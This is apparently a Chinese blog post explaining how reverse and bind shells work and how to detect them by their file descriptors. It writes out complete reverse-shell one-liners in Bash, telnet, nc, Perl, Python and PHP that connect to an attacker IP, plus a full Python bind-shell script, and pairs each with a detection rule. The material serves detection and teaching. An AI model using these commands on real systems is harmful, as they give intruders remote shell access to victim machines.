反弹shell的实现方式和检测方法

我所理解的反弹shell,是外部人员通过web或者软件的漏洞,建立了一个数据流通向网络外部的shell执行环境。

现在针对一些网络上反弹shell实例作说明:

 

  1. 反弹shell

现在针对一些网络上反弹shell实例作说明:

实例1,Bash反弹:

Bash反弹,远程主机监听端口:

nc -lvp 7777

被入侵的机器反弹shell命令如下:

bash -i >& /dev/tcp/192.168.7.61/7777 0>&1

 

目标机执行后的结果如下:

创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。

匹配规则:bash进程的0,和1文件描述符指向socket

 

 

实例2,telnet反弹:

 

远程主机监听端口:

nc -lvvp 4444

nc -lvvp 5555

 

被入侵的机器反弹shell命令如下:

telnet 192.168.7.61 4444 | /bin/bash | telnet 192.168.7.61 5555

 

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到两个telnet进程上。两个telent创建了socket外联。

匹配规则:bash进程的0,和1文件描述符指向pipe

 

 

实例3,nc(netcat)反弹:

 

远程主机监听端口:

nc -lvvp 4444

 

被入侵的机器反弹shell命令如下:

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.61 4444 >/tmp/f

 

 

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到文件和nc上。

匹配规则:bash进程的0,和1文件描述符指向pipe

 

实例4,perl反弹:

 

远程主机监听端口:

nc -lvvp 4444

 

被入侵的机器反弹shell命令如下:

perl -e 'use Socket;$i="192.168.7.61";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

目标机执行后的结果如下:

创建了dash进程,0和1描述符都指向了socket。

匹配规则:dash或者sh进程的0,和1文件描述符指向socket

 

实例5,Python反弹:

 

远程主机监听端口:

nc -lvvp 4444

 

被入侵的机器反弹shell命令如下:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.61",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

 

 

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了socket。

匹配规则:bash的0,和1文件描述符指向socket

 

 

实例6,php反弹:

 

远程主机监听端口:

nc -lvvp 4444

 

被入侵的机器反弹shell命令如下:

php -r '$sock=fsockopen("192.168.7.61",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

 

目标机执行后的结果如下:

创建了bash和dash进程,0和1描述符都指向了socket。

匹配规则:bash或dash进程的0,和1文件描述符指向socket

 

实例7,受害机主动监听:

 

被入侵监听端口:

#!/usr/bin/python2

"""

Python Bind TCP PTY Shell - testing version

infodox - insecurety.net (2013)

Binds a PTY to a TCP port on the host it is ran on.

"""

import os

import pty

import socket

 

lport = 31337 # XXX: CHANGEME

 

def main():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.bind(('0.0.0.0', lport))

    s.listen(1)

    (rem, addr) = s.accept()

    os.dup2(rem.fileno(),0)

    os.dup2(rem.fileno(),1)

    os.dup2(rem.fileno(),2)

    os.putenv("HISTFILE",'/dev/null')

    pty.spawn("/bin/bash")

    s.close()

      

if __name__ == "__main__":

    main()

黑客主机机器主动连接如下:

telnet 192.168.7.6 31337

 

 

目标机执行后的结果如下:

接受连接后:

进程python的0和1变成socket:

Bash进程3和4是socket。

匹配规则:python进程的0,和1文件描述符指向socket

 

总结

归纳起来,就是具备执行环境的文件如果0和1文件描述符都关联到socket或者pipe,就认为它是反弹shell。

常用的执行环境如下:

Bash, dash, sh, python, php, perl等。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值